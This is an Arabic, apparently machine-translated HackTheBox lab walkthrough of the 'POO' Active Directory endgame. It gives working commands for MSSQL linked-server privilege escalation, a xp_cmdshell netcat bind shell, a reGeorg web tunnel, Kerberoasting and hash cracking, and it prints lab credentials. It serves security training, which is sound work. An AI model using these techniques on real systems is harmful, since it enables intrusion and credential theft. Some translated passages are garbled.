في هذه المقالة ، سنقوم بتحليل مرور ليس فقط من سيارة ، ولكن من مختبر صغير كامل من موقع HackTheBox .كما هو موضح في الوصف ، تم تصميم POO لاختبار المهارات في جميع مراحل الهجمات في بيئة Active Directory الصغيرة. الهدف هو اختراق المضيف المتاح ، وزيادة الامتيازات ، وفي نهاية المطاف ، اختراق النطاق بأكمله ، مع جمع 5 أعلام.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
مقدمة
تتكون لعبة النهاية هذه من جهازين ، وتحتوي على 5 أعلام.
كما يتم تقديم وصف وعنوان المضيف المتاح.
هيا بنا نبدأ!ريكون العلم
يحتوي هذا الجهاز على عنوان IP 10.13.38.11 ، والذي أضيفه إلى / etc / hosts.10.13.38.11 poo.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A poo.htb -p80,1433
وبالتالي ، لدينا IIS و MSSQL. في هذه الحالة ، سنكتشف اسم DNS الحقيقي للمجال والكمبيوتر. على خادم الويب نرحب بنا من قبل الصفحة الرئيسية IIS.
دعنا نذهب من خلال الدلائل. أنا استخدم الكأس لهذا. في المعلمات نشير إلى عدد التدفقات 128 (-t) وعنوان URL (-u) والقاموس (-w) والإضافات التي تهمنا (-x).gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
وبالتالي ، لدينا مصادقة HTTP للدليل / admin ، بالإضافة إلى ملف مستودع خدمة سطح المكتب المتاح. DS_Store. .DS_Store - هذه هي الملفات التي تخزن إعدادات المستخدم للمجلد ، مثل قائمة الملفات وموقع الرموز وصورة الخلفية المحددة. قد يقع مثل هذا الملف في دليل خادم الويب لمطوري الويب. وبالتالي ، نحصل على معلومات حول محتويات الدليل. يمكنك استخدام زاحف DS_Store لهذا الغرض .python3 dsstore_crawler.py -i http://poo.htb/
نحصل على محتويات الدليل. الشيء الأكثر إثارة للاهتمام هنا هو دليل / dev ، الذي يمكننا من خلاله رؤية الملفات المصدر وملفات db في فرعين. ولكن يمكننا أولاً 6 أحرف من اسم الملفات والأدلة إذا كانت الخدمة عرضة لـ IIS ShortName. للتحقق من وجود هذه الثغرة الأمنية ، استخدم ماسح الاسم المختصر IIS .
وننتقل إلى ملف نصي يبدأ بـ "poo_co". لا أعرف ماذا أفعل بعد ذلك ، اخترت ببساطة جميع الكلمات التي تبدأ بـ "co" من قاموس الدليل.cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
وكرر من خلال wfuzz.wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
ونجد الكلمة الصحيحة! نحن ننظر إلى هذا الملف ، ونحفظ بيانات الاعتماد (إذا حكمنا من خلال معلمة DBNAME ، فهي من MSSQL).
نسلّم العلم ونمضي قدماً بنسبة 20٪.
هوه العلم
نحن متصلون بـ MSSQL ، أستخدم DBeaver.
لا نجد أي شيء مثير للاهتمام في قاعدة البيانات هذه ، فلننشئ محرر SQL ونتحقق من هوية المستخدمين.SELECT name FROM master..syslogins;
لدينا مستخدمان. دعونا نتحقق من امتيازاتنا.SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
وبالتالي ، لا توجد امتيازات. دعونا نرى الخوادم ذات الصلة ، حول هذه التقنية التي كتبتها بالتفصيل هنا .SELECT * FROM master..sysservers;
لذا نجد خادم SQL آخر. دعنا نتحقق من تنفيذ الأوامر على هذا الخادم باستخدام openquery ().SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
ويمكننا أيضًا بناء شجرة استعلام.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
والحقيقة أنه عندما نقوم بتنفيذ طلب على خادم مرتبط ، يتم تنفيذ الطلب في سياق مستخدم آخر! دعونا نرى في سياق أي مستخدم نعمل على خادم مرتبط.SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
الآن دعونا نرى في أي سياق يتم تنفيذ الطلب من الخادم المرتبط بخادمنا!SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
وبالتالي ، هذا سياق DBO يجب أن يكون لديك كافة الامتيازات. دعنا نتحقق من الامتيازات في حالة طلب من خادم مرتبط.SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
كما ترون ، لدينا كل الامتيازات! لنقم بإنشاء مسؤولنا بهذه الطريقة. لكنهم لا يسمحون لها من خلال openquery ، دعنا نفعل ذلك من خلال EXECUTE AT.EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
والآن نحن متصلون ببيانات اعتماد المستخدم الجديد ، نلاحظ قاعدة بيانات العلم الجديدة.
نسلم هذا العلم ونمضي قدما.
علم التراجع
سنحصل على shell باستخدام MSSQL ، أستخدم mssqlclient من حزمة impacket.mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
نحن بحاجة إلى الحصول على كلمات المرور ، وأول شيء التقينا به بالفعل هو الموقع. وبالتالي ، نحتاج إلى تهيئة خادم الويب (من المستحيل رمي غلاف مناسب ، يبدو أن جدار الحماية يعمل).
لكن الوصول مرفوض. على الرغم من أنه يمكننا قراءة الملف من MSSQL ، ما عليك سوى معرفة لغات البرمجة التي تم تكوينها. وفي دليل MSSQL نكتشف ما هو Python.
ثم قراءة ملف web.config لا توجد مشكلة.EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
بعد العثور على بيانات الاعتماد ، انتقل إلى / admin واختر العلم.

علم سلس
في الواقع ، هناك بعض المضايقات من استخدام جدار الحماية ، ولكن بالنظر إلى إعدادات الشبكة ، نلاحظ أن ثقب IPv6 يستخدم أيضًا!
أضف هذا العنوان إلى / etc / hosts.dead:babe::1001 poo6.htb
دعنا نفحص المضيف مرة أخرى ، ولكن باستخدام IPv6.
تتوفر خدمة WinRM عبر IPv6. تواصل مع أوراق الاعتماد الموجودة.
هناك علم على سطح المكتب ، نسلمه.
علم P00ned
بعد الاستطلاع على المضيف باستخدام winpeas ، لا نجد أي شيء خاص. ثم تقرر البحث مرة أخرى عن أوراق الاعتماد (كتبت أيضًا مقالًا حول هذا الموضوع ). لكنني لم أتمكن من الحصول على جميع SPNs من النظام من خلال WinRM.setspn.exe -T intranet.poo -Q */*
دعونا نقوم بتنفيذ الأمر من خلال MSSQL.
بهذه الطريقة ، نحصل على SPNs من المستخدمين p00_hr و p00_adm ، مما يعني أنهم عرضة لهجوم مثل Kerberoasting. باختصار ، يمكننا الحصول على تجزئات كلمات المرور الخاصة بهم.تحتاج أولاً إلى الحصول على غلاف ثابت نيابة عن مستخدم MSSQL. ولكن نظرًا لأن وصولنا محدود ، فلا يمكننا الوصول إلا إلى المضيف من خلال المنفذ 80 و 1433. ولكن من الممكن أن تنفق حركة المرور عبر المنفذ 80! للقيام بذلك ، نستخدم التطبيق التالي . قم بتنزيل ملف tunnel.aspx إلى الدليل الرئيسي لخادم الويب - C: \ inetpub \ wwwroot \.
ولكن عندما نحاول الوصول إليه ، نحصل على الخطأ 404. وهذا يعني أنه لم يتم تنفيذ ملفات * .aspx. لكي يبدأ تنفيذ الملفات ذات هذه الملحقات ، قم بتثبيت ASP.NET 4.5 على النحو التالي.dism /online /enable-feature /all /featurename:IIS-ASPNET45

والآن عند الوصول إلى tunnel.aspx نحصل على الإجابة بأن كل شيء جاهز للعمل.
دعونا نطلق جزء العميل من التطبيق ، والذي سيتعامل مع ترحيل المرور. سنعيد توجيه كل حركة المرور من المنفذ 5432 إلى الخادم.python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
ونستخدم proxychains لإرسال حركة المرور إلى أي تطبيق من خلال وكيلنا. أضف هذا الوكيل إلى ملف التكوين /etc/proxychains.conf.
الآن سنقوم بتحميل برنامج netcat إلى الخادم ، وبمساعدة منه سنقوم بعمل غلاف ثابت ، والبرنامج النصي Invoke-Kerberoast ، الذي سنقوم به هجوم Kerberoasting.
الآن من خلال MSSQL نبدأ المستمع.xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
والتواصل من خلال وكيلنا.proxychains rlwrap nc poo.htb 4321
ودعنا نحصل على التجزئة.. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
بعد ذلك ، تحتاج إلى فرز هذه التجزئة. نظرًا لعدم وجود بيانات كلمة المرور في قاموس rockyou ، فقد استخدمت جميع قواميس كلمات المرور التي قدمتها القوائم السرية. للبحث نستخدم hashcat.hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
ونجد كلمتا المرور ، الأولى في القاموس dutch_passwordlist.txt ، والثانية في Keyboard-Combitions.txt.
وهكذا لدينا ثلاثة مستخدمين ، انتقل إلى وحدة تحكم المجال. أولاً نكتشف عنوانه.
حسنًا ، اكتشفنا عنوان IP لوحدة تحكم المجال. دعنا نكتشف جميع مستخدمي المجال ، وأي منهم المسؤول. لتنزيل البرنامج النصي للحصول على معلومات PowerView.ps1. ثم قم بالاتصال باستخدام evil-winrm عن طريق تحديد الدليل مع البرنامج النصي في المعلمة -s. ثم قم فقط بتحميل البرنامج النصي PowerView.
الآن جميع وظائفها متاحة لنا. يبدو المستخدم p00_adm كمستخدم مميز ، لذلك سنعمل في سياقه. قم بإنشاء كائن PSCredential لهذا المستخدم.$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
الآن سيتم تنفيذ جميع أوامر Powershell ، حيث نحدد Creds ، نيابة عن p00_adm. دعونا سرد المستخدمين والسمة AdminCount.Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
وهكذا ، فإن مستخدمنا يتمتع بامتياز حقًا. دعونا نلقي نظرة على المجموعات التي يتكون منها.Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
نؤكد أن المستخدم هو مسؤول المجال. هذا يمنحه الحق في تسجيل الدخول عن بعد إلى وحدة تحكم المجال. دعونا نحاول الدخول من خلال WinRM باستخدام نفقنا. كنت مرتبكًا من الأخطاء الناتجة عن reGeorg عند استخدام evil-winrm.
ثم سنستخدم برنامج نصي آخر أسهل للاتصال بـ WinRM. فتح وتغيير المعلمات للاتصال.
نحن نحاول الاتصال ، ونحن في النظام.
لكن لا يوجد علم. ثم انظر إلى المستخدم وتحقق من أجهزة سطح المكتب.
في mr3ks نجد العلم والمختبر مرت 100٪.
هذا كل شئ. للتعليق ، علّق على ما إذا كنت قد تعلمت شيئًا جديدًا من هذه المقالة وما إذا كان مفيدًا لك.يمكنك الانضمام إلينا على Telegram. هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.